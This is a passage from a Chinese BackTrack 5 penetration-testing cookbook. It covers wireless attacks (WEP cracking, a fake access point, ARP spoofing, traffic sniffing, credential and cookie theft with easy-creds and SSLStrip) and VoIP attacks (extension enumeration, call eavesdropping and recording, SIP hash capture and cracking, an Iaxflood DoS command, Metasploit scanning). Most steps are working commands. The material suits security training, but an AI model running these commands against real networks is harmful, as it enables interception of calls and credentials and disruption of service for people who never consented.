在本示例中，我们使用Gerix自动破解一个无线网络，以获取其WEP密钥。我们先是启动Gerix，然后启用监听模式。接下来，从Gerix列出的WiFi列表中选择一个攻击目标。然后开始嗅探WiFi通信，使用Chop Chop来生成CAP文件。最后，在收集了20000个数据包后，使用Aircrack对CAP文件进行暴力攻击。

Gerix程序可以自动破解WEP密钥，而我们无需在终端窗口中手动输入命令。这个程序可以快速高效地破解WEP网络。

7.5　伪造AP

在本示例中，我们将使用Gerix来创建、设置一个伪造的AP。通过这个伪造的AP，我们可以收集与该AP相连的任何一台计算机的WiFi通信。当今，人们因为贪图便利而会毫不犹豫地牺牲网络安全，他们不在乎将设备连接到没密码的无线网络中，还会无所顾忌地在里面发送邮件，登录到社交网络。本例将演示Gerix，它是Aircrack的GUI程序。

准备工作

为了完成本示例，需要用到一个配置为支持数据包注入的无线网卡。所谓的“数据包注入技术”指模拟其他电脑或设备发送无线信号的技术。并非所有的无线网卡都支持数据包注入，所以您需要确定自己的网卡是否可以完成本示例。

操作步骤

现在开始使用Gerix来创建伪造的AP。

1．在Gnome开始菜单中，找到BackTrack | Exploitation Tools | Wireless Exploitation Tools | WLAN Exploitation | gerix-wifi-cracker-ng
 （见图7.5）。

2．单击Configuration
 选项卡。

3．在该选项卡中，选择无线接口。

4．单击Enable/Disable Monitor Mode
 按钮。

5．在成功启用Monitor
 模式之后，在Select Target Network
 下单击Rescan Networks
 按钮。

6．将开始显示一系列目标网络。选择其中一个作为攻击目标。在本示例中，选择一个采用WEP加密的网络。
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图7.5

7．单击Fake AP
 选项卡（见图7.6）。
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图7.6

8．将Access point ESSID的honeypot
 修改为一个不容易引起怀疑的名字。在本示例中，我们使用的是personalnetwork
 （见图7.7）。
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图7.7

9．其他选项均使用默认值。要启动伪造的AP，单击Start Fake Access Point
 按钮（见图7.8）。
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图7.8

本例小结

在本示例中，我们使用Gerix建立了一个伪造的AP。这个AP可以从连入的设备收集信息。Gerix是伪造AP的优秀工具，对受害者来说，伪造的AP在他们看来没有可疑之处，这个AP可以赢得他们的信任。借助Gerix，我们只需要少量的步骤就可以自动创建并设置一个伪造的AP。

这个示例其实并不完整，仅起到抛砖引玉的作用；读者需要进行深入的研究才能充分发挥Gerix的作用。

7.6　Arpspoof简介

在本示例中，我们将进行网络通信劫持。网络通信劫持是MITM攻击的一种具体应用，我们使目标主机发送到Internet的流量先行通过我们的机器。URL通信劫持将需要ARP欺骗做铺垫。在本例中，要同时欺骗网关和目标主机，向它们发送虚假的ARP数据包，使它们把BackTrack的机器当作网关（或目标主机）。我们将使用Arpspoof来执行该示例。

操作步骤

现在开始演示劫持目标主机网络通信的过程。

1．在终端窗口里，使用下述命令配置IP table，以使我们的机器转发其他设备的IP通信。



    sudo echo 1 >> /proc/sys/net/ipv4/ip_forward 





2．接下来，启动Arpspoof欺骗，使目标主机把我们的主机当作默认网关，以监控它的通信。在本例中，我们使用的是Windows 7系统，IP地址是192.168.10.115
 。需要配置的Arpspoof选项如下所示。


	
–i
 (interface)：设置目标接口。在本示例中，我们选择wlan0
 。

	

–t
 (target)：设置目标主机。

借助上述选项，我们执行下述命令。







    sudo arpspoof –i wlan0 -t 192.168.10.115 192.168.10.1 
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 该命令的完整语法是arpspoof–-i [interface]–-t [target IP address ] [destination IP address]。
 在BackTrack上运行这条命令时，Destination IP的实际作用是：目标主机/设备（即target IP）把BackTrack的主机当作destination IP。

3．接下来，新建一个窗口执行另外一个Arpspoof命令，它会将从上述命令中获得的流量路由到BackTrack所在的机器。在本例中，我们要欺骗网关192.168.10.1，使其认为192.168.10.110
 这个IP就是BackTrack所在的主机。



    sudo arpspoof –i wlan0 

-t 192.168.10.1 192.168.10.110 



本例小结

在本示例中，我们使用Arpspoof来实施ARP欺骗操控目标机器，并使目标主机把BackTrack所在的机器当作网关使用。一旦劫持了目标主机的网络通信，我们就可以针对受害者机器发起其他攻击。

7.7　端口重定向

在本示例中，我们将使用BackTrack执行端口重定向操作，该操作也被称为端口转发（port forwarding）
 或端口映射（port mapping）
 。所谓端口重定向，是指接受往某个端口（比如端口80）的数据包，然后将其转发到一个不同的端口（比如端口8080）。执行这种类型的攻击有很多好处，因为您可以将安全端口重定向到非安全端口，将流量重定向到某个特定设备上的特定端口等。

操作步骤

现在开始执行端口重定向/转发操作。

1．在终端窗口里，使用下述命令配置IP table，以使我们的机器转发其他设备的IP通信。



    sudo echo 1 >> /proc/sys/net/ipv4/ip_forward 





2．接下来，启动Arpspoof，劫持目标网络和网关的通信。在本例中，默认网关的IP地址是192.168.10.1。Arpspoof具有多个可用选项。-i
 选项可以用来选择目标接口。在本例中，我们选择wlan0。




    sudo arpspoof –i wlan0 192.168.10.1 
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 该命令此处的语法是arpspoof -i [interface] [host]。
 即通过广播，让网络里的其他主机认为BackTrack的主机就是host（这个例子里就是网关）。

3．接下来，新建一个窗口单独执行另外一个Arpspoof命令，使其接受之前命令中去往默认网关的流量，然后将该流量路由到BackTrack所在的机器。在本例中，IP地址是192.168.10.110。



   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
   REDIRECT --to-port 8080





本例小结

在本示例中，我们使用Arpspoof实施ARP欺骗，效果上相当于修改了目标网络所有客户端主机的路由表，然后将它们发往80端口的流量重定向到端口8080。执行这种类型的攻击有很多好处，因为您可以将安全端口重定向到非安全端口，将流量重定向到某个特定设备上的特定端口等。

7.8　嗅探网络通信

在本示例中，我们将讲解嗅探网络通信的过程。所谓嗅探网络通信，是指截获网络数据包，对其进行分析，如果有必要的话还要进行解码，然后将数据包中包含的信息显示出来。收集目标信息时，嗅探通信相当有用（这也取决于所访问的站点），您可以看到访问的URL、用户名、密码和其他可利用的细节信息。

在本示例中我们将使用Ettercap，当然也可以使用Wireshark。出于演示目的，我们使用Ettercap，它简单易懂，也易于读者理解。一旦理解了Ettercap的操作过程，就可以使用Wireshark来进行更详细的分析。

准备工作

为了完成本示例，需要用到一个配置为支持数据包注入的无线网卡。当然，我们也可以在有线网络上进行该操作。所谓的“数据包注入技术”指模拟其他电脑或设备发送无线信号的技术。

操作步骤

现在启动Ettercap，开始嗅探网络通信。

1．打开终端窗口启动Ettercap。使用-G
 选项来启动其图形用户界面（见图7.9）。



    ettercap –G 
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图7.9

2．打开Unified sniffing
 开始嗅探操作。可以按下Shift + U，或者使用菜单Sniff | Unified sniffing
 来完成（见图7.10）。
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图7.10

3．选择网络接口。在使用MITM攻击的示例中，我们应该选择无线接口（见图7.11）。
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图7.11

4．接下来，打开Scan for hosts。
 可以按下Ctrl + S，或者使用菜单Hosts | Scan for hosts
 来完成（见图7.12）。
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图7.12

5．接下来，显示一个主机列表。可以按下H键或者使用菜单Hosts | Host list
 来实现（见图7.13）。
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图7.13

6．现在，选择并设置目标。在本示例中，选择192.168.10.111
 作为目标1，操作方式是选中该IP地址，然后单击Add to Target 1
 按钮（见图7.14）。
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图7.14

7．现在可以使用Ettercap开始进行流量嗅探了。可以按下Ctrl + W或者使用菜单Start | Start Sniffing
 来启动（见图7.15）。
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图7.15

8．最后，开始进行ARP欺骗。在菜单中，选择Mitm | Arp poisioning
 （见图7.16）。
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图7.16

9．在出现的窗口中，选择可选参数Sniff remote connections
 （见图7.17）。
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图7.17

10．取决于具体的网络通信，我们开始看到下述信息（见图7.18）。
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图7.18

11．一旦找到需要的信息后（比如用户名和密码），我们就可以关闭Ettercap。可以按下Ctrl + E或者使用菜单Start | Stop sniffing
 来关闭它（见图7.19）。
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图7.19

12．现在停止ARP欺骗，将网络恢复正常（见图7.20）。
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图7.20

本例小结

在本示例中，我们通过ARP欺骗实施了MITM攻击，监听用户发送的全部通信。我们先是启动Ettercap，然后扫描目标主机。接下来使用开始ARP欺骗。

在本示例最后，我们启动数据包嗅探器，然后演示了停止ARP欺骗的操作，让网络恢复正常。只有停止ARP欺骗，才不至于让网络瘫痪。

当信息在无线网络中传输时，我们可以使用该方法来收集信息。我们可能收集到的信息有：目标在网络中发送的用户名、密码、银行账号等其他信息。这些信息也可以用作大型攻击的跳板。

7.9　窃取cookie访问Web mail

cookie是站点发送到用户计算机的一个较小的数据文件，它用来存储用户浏览站点时的认证等信息。当用户在日后访问这些之前曾经访问过的站点时，这些站点就会使用cookie中的这些信息，简化认证用户等事宜。在一些情况下，cookie也可以用来存储用户名和加密的密码，这样，用户访问某个站点时，就没有必要每一次都输入用户名和密码了。

在本示例中，我们将使用Easy Credentials窃取受害者主机的cookie。Easy Credentials（通常称为easy-creds）是一个bash脚本，它使用Ettercap、URLStrip等工具来自动获取用户凭据（credentials）。

操作步骤

1．打开终端窗口，然后找到包含Easy Credentials的目录（见图7.21）。
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图7.21

2．运行Easy Credentials的SH文件，将其启动（见图7.22）。



    ./easy-creds.sh 
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图7.22

3．在主菜单中有多个可用选项，如下所示。


	
Prerequisites & Configurations


	
Poisoning Attacks


	
FakeAP Attacks


	
Data Review


	
Exit


	
Quit Current Poisoning Session




4．输入2，然后按Enter键（见图7.23）。



    2 
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图7.23

5．在下一个菜单屏幕输入3，即选择Oneway ARP Poisoning。
 此时可用的其他菜单选项如下所示。


	
Create Victim Host List


	
Standard ARP Poison


	
DHCP Poison


	
DNS Poison


	
ICMP Poison


	
Previous Menu






     3 





6．在Interface connected to the network提示符下，输入无线网卡，这里是wlan0
 （见图7.24）。



    wlan0 
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图7.24

7．菜单选项Provide path for saving log files
 用来设置存储文件的位置。这个示例里，我们设置为./root/Easy-Creds
 （见图7.25）。



    ./root/Easy-Creds 
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图7.25

8．Easy Credentials开始配置IP table。就Do you have a populated file of victims to use
 来说，选择n
 （见图7.26）。



    n 
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图7.26

9．接下来，输入网关的IP地址在本例中使用192.168.10.1（见图7.27）。



    192.168.10.1 
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图7.27

10．输入要欺骗的IP地址或网段（Ettercap格式）。在本例中，目标主机是192.168.10.115。




    192.168.10.115 





11．就Would you like to include a sidejacking attack
 而言，输入n
 然后按下Ener键（见图7.28）。



    n 





[image: P188d]


图7.28

12．最后，Easy Credentials启动SSLStrip、Ettercap、URL Snarf、Dsniff这些工具（见图7.29）。
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图7.29

13．在用户连接到不同的站点时，将会看到Ettercap窗口显示用户名和密码，以及登录网址（例如，www.[websitehere].com）
 。攻击运行的时间越长，收集到的信息就越多。

本例小结

在本示例中，我们使用Easy Credentials自动发起攻击，最终访问和窃取cookie。我们先通过命令行启动Easy Credentials，在打开的菜单中，选择执行欺骗攻击。在配置完毕之后，Easy Credentilas将启动4个程序，如下所示。


	
Ettercap：
 这是一个联网工具，通常用来执行MITM攻击。

	
Dsniff：
 这是一个用户名和密码嗅探应用程序，也可以与配合其他应用程序（Arpspoof、dnsspoof等）执行网络通信分析。

	
URL Snarf
 ：将所有请求的URL转换为通用日志格式（Common Log Format，CLF），以方便处理。

	
SSLStrip：
 可以将安全的流量转发到不同的端口，以避免SSL加密对嗅探的影响。










第8章　Voice over IP（VoIP）

本章将包含以下内容：


	使用Svmap；

	验证设备的分机号码；

	监控、捕获和监听VoIP通信；

	使用VoIPong；

	掌握UCSniff；

	掌握Xplico；

	捕获SIP认证；

	掌握VoIP Hopper；

	引起DoS攻击；

	使用Metasploit攻击VoIP；

	嗅探DECT电话。



8.1　简介

在本章，我们将讲解针对VoIP网络执行渗透测试的各种方法。VoIP（Voice over Internet Protocol）
 是一种利用数据网络进行语音通话的技术。通常来讲，VoIP网络通过专用分组交换机（Private Branch Exchange，PBX
 ）系统连接物理电话和内网中的软（SIP）电话。从此可以看出，PBX是连接内部网络和电话运行商这两种电话网络的通信桥梁。VoIP网络中电话分机的呼叫等待、呼叫转接、语音信箱和其他常见的电话功能都是通过PBX实现的。

8.2　使用Svmap

在本示例中，我们将使用Svmap来识别目标网络中的SIP和PBX设备。Svmap可以用来发现所有连入网络的VoIP设备。需要说明的是，Svmap是SIPVicious的一个组件。完全使用Python语言开发的SIPVicious套件功能更为强大，主要用于审计VoIP系统和网络。

Svmap有下列功能。


	无论SIP设备是否使用默认端口和非默认端口，Svmap都能将之识别出来。当设备所使用的通信端口不是出厂时指定的默认端口时，其他工具多数无能为力。

	通过多主机多端口或单主机多端口的模式进行SIP设备扫描。当网络拓扑较大时，该功能非常有用。

	支持扫描任务的暂停与恢复。当出于某些原因需要停止运行该程序时，这项功能就显得十分人性化。它还可以让程序从上次中断的地方恢复运行。



准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网路中需要有SIP或PBX设备。



操作步骤

现在启动Svmap，准备识别目标网络中的SIP设备。

1．打开一个终端窗口，进入Svmap的目录（见图8.1）。



   cd /pentest/voip/sipvicious






[image: ..\tu\P192.tif]


图8.1

2．查看Svmap的使用格式说明（见图8.2）。



   ./svmap.py -h






[image: ..\tu\P193.tif]


图8.2

3．开始进行设备扫描。执行下述命令，扫描192.168.10.100
 ～192.168.10.150
 网段中的SIP设备。



   ./svmap 192.168.10.100 - 192.168.10.150





4．我们可以使用其他方式扫描网络，换种方法扫描网络中的SIP设备。


	可以使用下述简短的方式来指定IP地址范围。



./svmap 192.168.10.100-120







	可以使用指定域名方式，在指定域中扫描所有IP地址。



./svmap targetdomainnamegoeshere.com









本例小结

在本示例中，我们使用Svmap扫描目标网络中的SIP和PBX设备。在网络设备信息的收集过程中，使用得当的工具十分重要。尽管其他工具（比如Sipflanker）也不少，但是Svmap的效率更为出色。


[image: 图像说明文字]


有关Svmap的更多信息，请访问SipVicious Svmap文档，地址为

http://code.google.com/p/sipvicious/wiki/SvmapUsage


 。



8.3　验证设备的分机号码

在渗透VoIP的时候，首先需要确认网络电话使用哪些分机号码。在本示例中，我们将使用Svwar进行穷举和暴力破解。Svmap是SIPVicious的一个组件。完全使用Python语言开发的SIPVicious套件功能更为强大，主要用于审计VoIP系统和网络。

Svwar具备如下功能：


	可使用SIP代理来识别PBX分机；

	可以用数据格式验证大量的分机号码；

	支持扫描任务的暂停与恢复。当出于某些原因需要停止运行该程序时，这项功能就显得十分人性化。它还可以让程序从上次中断的地方恢复运行。



准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网路中需要有SIP或PBX设备。



操作步骤

现在启动Svwar，准备识别目标网络设备的分机号码。

1．打开一个终端窗口，进入Svwar的目录（见图8.3）。




   cd /pentest/voip/sipvicious
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图8.3

2．查看Svwar的使用格式说明（见图8.4）。



   ./svwar.py -h





[image: 图像说明文字]


图8.4

3．接下来执行Svwar。Svwar有很多选项，而您通常会用到下述几个选项。


	
-e
 ：设置分机号的范围。

	
-d
 ：使用字典文件来验证分机号码。



./svwar.py -e001-1000 192.168.10.100









本例小结

在本示例中，我们使用Svwar来验证目标网络设备的分机号码。在网络设备信息的收集过程中，使用得当的工具是非常重要的。我们先要进入Svwar的文件夹，然后执行Svwar验证目标网络设备的分机号码。


[image: 图像说明文字]


有关SIPVicious的更多细节，请查看其官方网站，地址为

http://code.google.com/p/sipvicious/


 。



8.4　监控、捕获和监听VoIP通信

在本示例中，我们将使用BackTrack 5来监控、捕获和监听VoIP通信。在此期间，我们还需要用到两个程序。


	
Arpspoof
 ：该程序可以对网络进行ARP欺骗。

	
Wireshark
 ：该程序可以捕获网络流量。我们还将使用Wireshark把捕获的RTP通信转换为可播放的音频文件，供监听所用。



准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在正在通话的SIP或PBX设备。



操作步骤

现在启动终端窗口，准备监控、捕获和监听VoIP的流量。

1．打开终端窗口，启用IP转发（见图8.5）。



   echo 1 > /proc/sys/net/ipv4/ip_forward





[image: ..\tu\P196a.tif]


图8.5

2．启动Arpspoof进行ARP污染（欺骗）。在命令行中输入arpspoof
 可以查看Arpspoof的使用格式（见图8.6）。

[image: ..\tu\P196b.tif]


图8.6

3．在上述命令中结合使用-t
 选项，即arpspoof -t [target] [gateway]
 或arpspoof -t [gateway] [target]
 的格式来指定目标和网关。本例中，我们可以采用下面两种方式来运行Arpspoof（见图8.7）。



   arpspoof -t 192.168.56.100 192.168.56.1


   arpspoof -t 192.168.56.1 192.168.56.100
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图8.7

4．在启动Arpspoof之后，我们接下来使用Wireshark来捕获数据包。首先新建一个终端窗口，然后启动Wireshark
 （见图8.8）。




   wireshark
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图8.8

5．从主菜单中选择Capture | Capture Filters...
 （见图8.9）。
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图8.9

6．在Capture Filter
 对话框中，选择No Broadcast and no Multicast
 ，然后单击OK
 （见图8.10）。
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图8.10

7．从主菜单中选择Capture | Interfaces…
 ，或者是按下Ctrl + I（见图8.11）。
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图8.11

8．在Capture Interfaces
 对话框中，选择打算在其上捕获数据包的网络接口，然后单击Start
 （见图8.12）。

[image: ..\tu\P198c.tif]


图8.12

9．如果此时网络中正好有VoIP通话，Wireshark将会在屏幕上进行相应的提示。如需停止捕获数据包，按下Ctrl + E或者是选择Capture | Stop
 （见图8.13）。
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图8.13

10．要想播放所捕获到的语音通话，您就需要使用Wireshark的电话语言重编码功能。即在菜单中选择Telephony | VoIP Calls
 （见图8.14）。
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图8.14

11．选择通话记录，单击Player
 按钮。

12．现在，您应该可以播放监听到的语音通话了。

本例小结

在本示例中，我们用到了多个工具来监控、捕获和监听目标网络中进行的语音通话。监听功能可以让我们窃听网络中的VoIP通话。在执行该任务时，我们使用Arpspoof对网络进行ARP污染，然后使用Wireshark捕获通话，然后对其解码并播放。

8.5　使用VoIPong

所谓电话监听，其实质就是在未经通话双方允许的情况下，偷听他们之间的通话。在本示例中，我们将使用VoIPong来检测目标网络中的VoIP通话。VoIPong还能将语音通话录制为WAV文件。它简单易用，是检测VoIP通话的理想工具。一言以蔽之，如果您打算监听网络上进行的通话，VoIPong是您的不二之选。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

我们准备进入VoIPong的目录。

1．打开一个终端窗口，进入VoIPong配置文件所在的目录（见图8.15）。



   cd /usr/local/etc/voipong





[image: ..\tu\P200a.tif]


图8.15

2．在使用VoIPong之前，需要对其进行配置、修改其配置文件。



   nano /etc/voipong.conf





3．在配置文件中，找到[FILTERS]
 ；在空白行里添加一行，设置录音文件的输出路径（即outdir
 ）为/usr/local/etc/voipong/output
 （见图8.16）。
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图8.16

4．保存文件，退出nano。

5．在配置完VoIPong之后，通过帮助指令查看使用voipong命令的相关说明。



   voipong -h





6．接下来，使用下面的命令启动VoIPong。此处，我们使用到-c
 选项来使用刚才修改好的配置文件。



   voipong -c /etc/voipong.conf





7．此后，VoIPong开始捕获VoIP通话，并将通话录制为WAV文件。这些WAV文件存放在配置文件中outdir
 所指定的目录里，即/usr/local/etc/voipong/output
 文件夹。

本例小结

在本示例中，我们使用VoIPong来捕获、录制VoIP通话。我们先进入VoIPong的目录，然后修改其配置文件，最后启动VoIPong。在监听网络中的VoIP通话时，VoIPong相当有用，它是十分智能的工具。

8.6　掌握UCSniff

在本示例中，我们将讲解UCSniff。UCSniff主要用来评估基于VoIP的语音和视频通信系统的安全性。它能够快速地模拟未经授权的监听，是安全审计员的得力助手。

UCSniff有如下两种工作模式。


	
Monitor mode：（被动）监听模式
 。这种模式仅进行VoIP监听。以这种模式运行UCSniff，UCSniff对网络影响最小，因此也最为安全。但是监听模式在渗透测试中的用处不大。在大多数VoIP网络里，监听模式无法发挥UCSniff的作用。

	
MITM mode：（主动）中间人模式
 。在这种模式里，UCSniff在监听VoIP通信的同时还会对网络进行ARP欺骗。这是真正的攻击模式，也是本文演示所使用的模式。MITM模式有下面两个子模式。
	
Target mode（目标模式）：
 该模式可以启用UCSniff的监听功能。

	
Learning mode（学习模式）：
 该模式使用Ettercap捕获指定目标的所有流量。







准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

首先安装UCSniff。

1．打开网站

http://sourceforge.net/projects/ucsniff/files/ucsniff/ucsniff-3.2%20src/


 ，将UCSniff 3.20的源代码下载到文件夹/downloads
 中。

2．进入downloads
 文件夹。



   cd /downloads





3．执行下述命令，解压缩UCSniff。



   tar xzvf ucsniff-3.20.tar.gz






4．进入到解压缩后的目录ucsniff-3.20
 。



   cd ucsniff-3.20






5．现在需要下载依赖（dependency）。依次执行下列命令。



   apt-get update


   apt-get install build-essential


   apt-get install zlib1g-dev liblzo2-dev


   apt-get install libpcap0.8-dev libnet1-dev


   apt-get install libasound2-dev


   apt-get install libbz2-dev


   apt-get install libx11-dev


   apt-get install libxext-dev


   apt-get install libfreetype6-dev


   apt-get install vlc


   apt-get install libvlc-dev


   apt-get install libavformat-dev


   apt-get install libavdevice-dev


   apt-get install libswscale-dev


   apt-get install libavfilter-dev


   apt-get install libx264-dev


   apt-get install libav





6．然后配置UCSniff，注意启用VLC和GUI的开关（见图8.17）。



   ./configure --enable-libvlc --enable-gui





[image: ..\tu\P203a.tif]


图8.17

7．现在已经配置完UCSniff，要编译源代码，并且安装编译后的程序。



   make


   make install





8．接下来，执行下述命令来启动UCSniff的GUI版本（见图8.18）。



   ./ucsniff -G





[image: ..\tu\P203b.tif]


图8.18

9．选择网卡接口。在查看自己的列表时，您可能会看到与示例不同的情况。

图8.19中的eth0通常是有线网卡；而wlan0通常是无线网卡wlan0；

[image: ..\tu\P204a.tif]


图8.19

10．现在选择运行模式。本文使用MITM模式，这是一种发起真实攻击的模式。在选择MitM
 模式之后，程序将提示您选择Learning
 模式或Target
 模式（见图8.20）。

[image: ..\tu\P204b.tif]


图8.20

11．在本例中，我们不再修改Miscellaneous Options
 下的选项。本文仅介绍其选项。


	　Enable arp request poisoning

	　Enable SIP log

	　Enable Verbose mode

	　Bypass of GARP Disablement

	　Enable TFTP Modify Attack

	　Enable Mixing A/V



12．接下来单击Start UCSniff
 按钮，开始扫描。

13．完成扫描之后，单击Stop UCSniff
 按钮。

本例小结

在本示例中，我们将UCSniff设置为MITM的中间人模式，用它来监控网络中的VoIP通信。在对网络执行ARP欺骗之后，UCSniff开始捕获（窃听）数据包。在人工停止之后，UCSniff才会停止截获数据包。

8.7　掌握Xplico

在本示例中，我们会用到Xplico。Xplico是截获网络通信的工具，它能够捕获多种应用程序（包含FTP、电子邮件、VoIP等）的通信数据。Xplico也可以用作网络取证分析工具（Network Forensic Analysis Tool，NFAT）。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

现在开始安装 Xplico。

1．打开终端窗口，更新本地的软件仓库（repositories）。



   apt-get update





2．运行安装Xplico的命令（见图8.21）。



   apt-get install xplico
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图8.21

3．Xplico可以在BackTrack | Digital Forensics | Forensic Analysis
 目录中找到。

4．在终端窗口里，进入Xplico指令所在的文件夹。



   cd /opt/xplico/bin






5．查看Xplico的使用说明（见图8.22）。



   ./xplico－h






[image: ..\tu\P206b.tif]


图8.22

6．最后执行下述命令，对正在进行的通话进行实时解码。



   ./xplico -m rltm -i eth0






	
-m
 ：该选项用来设置模式。在本示例中，我们使用rltm
 来选择实时模式。

	
-i
 ：该选项用来设置接口。



本例小结

在本示例中，我们使用Xplico来捕获SIP流量。Xplico先分析网络中的数据包，然后将其解析为有价值的信息，最后将信息存初在SQLite数据库中。

8.8　捕获SIP认证

在本示例中，我们将使用SIPCrack工具套件中的SIPDump来捕获SIP通信中的认证会话。SIPDump可以用来嗅探SIP的登录信息，捕获网络上认证信息中的密码摘要。SIPCrack则可以破解SIPDump生成的文件。结合这两个工具，我们不仅可以让SIPDump把登录信息存为文件，而且可以使用SIPCrack破解登录信息。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

现在开始使用SIPDump捕获SIP的认证信息。

1．打开终端窗口后，进入到SIPDump的目录中。



   cd /pentest/passwords/sipcrack





2．执行下述命令，查看SIPDump的使用说明（见图8.23）。



   ./sipdump





[image: ..\tu\P208.tif]


图8.23

3．最后以实时捕获模式启动SIPDump，将所捕获的登录信息保存为capture.txt
 。



   /sipdump -i eth0 capture.txt





本例小结

在本示例中，我们使用SIPDump捕获SIP认证通信。我们先进入SIPDump目录，然后查看其帮助文件，将其设置为实时捕获模式，然后将捕获到的摘要认证信息输出到capture.txt
 文件中。

补充资料

SIPCrack程序可以进而破解SIPDump捕获到的登录信息。在同一个目录中执行./sipcrack
 可以查看SIPCrack的使用说明（见图8.24）。
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图8.24

最后，参考刚才的使用说明，使用（您预制的）字典文件破解SIPDump所创建的capture.txt
 文件。



   ./sipcrack -w /pentest/passwords/wordlists/darkcode.txt capture.txt





8.9　掌握VoIP Hopper

在本示例中，我们将讲解VoIP Hopper。VoIP Hooper可以模仿IP电话，切入到 某VLAN中进行通信。它主要用来测试VLAN网络的安全性。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

现在首先启动VoIP Hopper。

1．打开终端窗口执行voiphopper
 命令，这将显示VoIP Hopper的使用说明（见图8.25）。



   voiphopper
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图8.25

2．VoIP Hopper有如下一些可用的选项。


	
-i
 ：该选项用来选择接口。

	
-c
 ：该选项用来选择容量。

	
-S
 ：该选项用来选择打算使用的软件。



结合上述选项，执行下面的命令（见图8.26）。



   voiphopper -i eth0 -c 2
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图8.26

8.10　发起DoS攻击

在本示例中，我们使用Iaxflood对目标SIP设备发起DoS攻击。（LAN或WAN）网络里超大流量的通信即可视为DoS攻击，它能导致合法用户无法正常使用设备。在本示例中，我们使用Iaxflood对Asterisk PBX系统发起攻击。类似的程序还有Inviteflood，它向目标发起大量的invite请求，足以使目标系统瘫痪。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

现在，打开一个终端窗口，准备执行DoS攻击。

1．打开终端窗口，进入到Iaxflood所在的目录中。



   cd /pentest/voip/iaxflood





2．运行Iaxflood的语法是./iaxflood [source IP] [destination IP] [number of packets]
 。在本示例中，我们针对目标IP 192.168.56.110
 发送100万个数据包。



   /iaxflood 192.168.56.100 192.168.56.110 1000000





本例小结

在本示例中，我们使用Iaxflood对目标网络发起DoS攻击。我们首先进入到Iaxflood所在的目录，然后向目标设备发送100万个数据包。

8.11　使用Metasploit攻击VoIP

在本示例中，我们将使用Metasploit攻击VoIP网络。Metasploit有多个附件和模块，可专门用来针对VoIP网络发起攻击。Metasploit是一个包含在BackTrack 5中的渗透测试框架。我们在第5章讲解了Metasploit。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备。



操作步骤

现在，在一个终端窗口中启动MSFCONSOLE，使用Metasploit攻击VoIP。

1．打开终端窗口，启动MSFCONSOLE:



   msfconsole






2．搜索SIP模块。



   search SIP





可以看到图8.27所示的截图，其中包含很多选项。
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图8.27

3．使用SIP Scanner模块（见图8.28）。



   use auxiliary/scanner/sip/options
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图8.28

4．现在，显示该模块的选项（见图8.29）。

[image: ..\tu\P213b.tif]


图8.29

5．最后，通过设置RHOSTS选项设置攻击目标的IP段。



   set RHOSTS 192.168.56.100/24





6．现在我们可以运行payload。



   run





本例小结

在该示例中，我们使用Metasploit来扫描和识别网络中的SIP设备。可以看到，Metasploit有大量的模块，比如截获用户名的模块、捕获认证的模块，等等。在执行了Scanner模块之后，就会看到一个当前在线主机的列表，我们可以对这些主机的用户执行进一步攻击和漏洞利用。

8.12　嗅探DECT电话

在本示例中，我们将使用deDECTED来嗅探DECT（Digital Enhanced Cordless Telecommunications，数字增强无绳通信）电话的通信。DECT技术主要用于无绳电话的语音传输。DECT在商业类别的VoIP电话系统里的应用也越来越多，市面上已经出现IP-DECT系统。deDECTed可以用来嗅探无绳电话的语音通话，并且能够将通话内容进行解码。

准备工作

为了完成本示例，需要满足如下条件：


	系统接入Internet或内部网络；

	网络中存在SIP或PBX设备；

	一个兼容DOSCH&AMAND的PCMCIA卡。



操作步骤

现在开始安装deDECTed，准备嗅探DECT电话。

1．打开一个终端窗口，安装deDECTed。



   apt-get update


   apt-get install dedected





2．安装Audacity。Audacity是一款开源的音频编辑器和混音器工具。



   apt-get -y install audacity





3．打开终端窗口，进入到 deDECTed所在的文件夹。



   cd /pentest/telephony/dedected





4．执行下述命令，载入相关驱动程序。



   cd /pentest/telephony/dedected/com-on-air_cs-linux


   make node


   make load





5．现在，我们已经能够启动deDECTed程序了。在相同的目录里，即在/pentest/

telephony/dedected/com-on-air_cs-linux
 目录中执行下述命令。



   ./dect_cli





6．接下来，执行callscan。



   callscan





7．执行autorec
 命令，记录检测到的每一个通话。



   autorec





8．在捕获到通话之后，就可以对其解码。



   ./decode.sh





9．接下来，将通话导入Audacity。按下Alt + F2，调用应用启动程序（launcher）。在启动程序界面中，输入audacity
 ，然后单击Run
 按钮（见图8.30）。
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图8.30

10．选择File | Import | Audio...
 ，导入文件（见图8.31）。
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图8.31

11．找到.wav
 文件的存放位置，选择其中一个，然后收听该通话。

12．最后，执行清理工作。切换到终端窗口，进入/pentest/telephony/dedected/

com-on-air_cs-linux
 目录，然后执行下述命令。



   make unload


   rm /dev/coa






本例小结

在本示例中，我们使用deDECTed来嗅探DECT电话上的通信。我们先是通过软件仓库（repository）安装deDECTed和Audacity，然后加载deDECTed的驱动程序。在启动deDECTed之后，开始扫描网络，查询通话，并且使用autorec
 命令来录制通话。随后，对录制的通话进行解码。最后，启动Audacity，收听捕获到的通话。








第9章　密码破解

本章将包含以下内容：


	破解在线密码；

	破解HTTP密码；

	获取路由器访问；

	密码采样分析；

	使用John the Ripper破解Windows密码；

	使用字典攻击；

	使用彩虹表；

	使用NVIDIA CUDA；

	使用ATI Stream；

	物理访问攻击。



9.1　简介

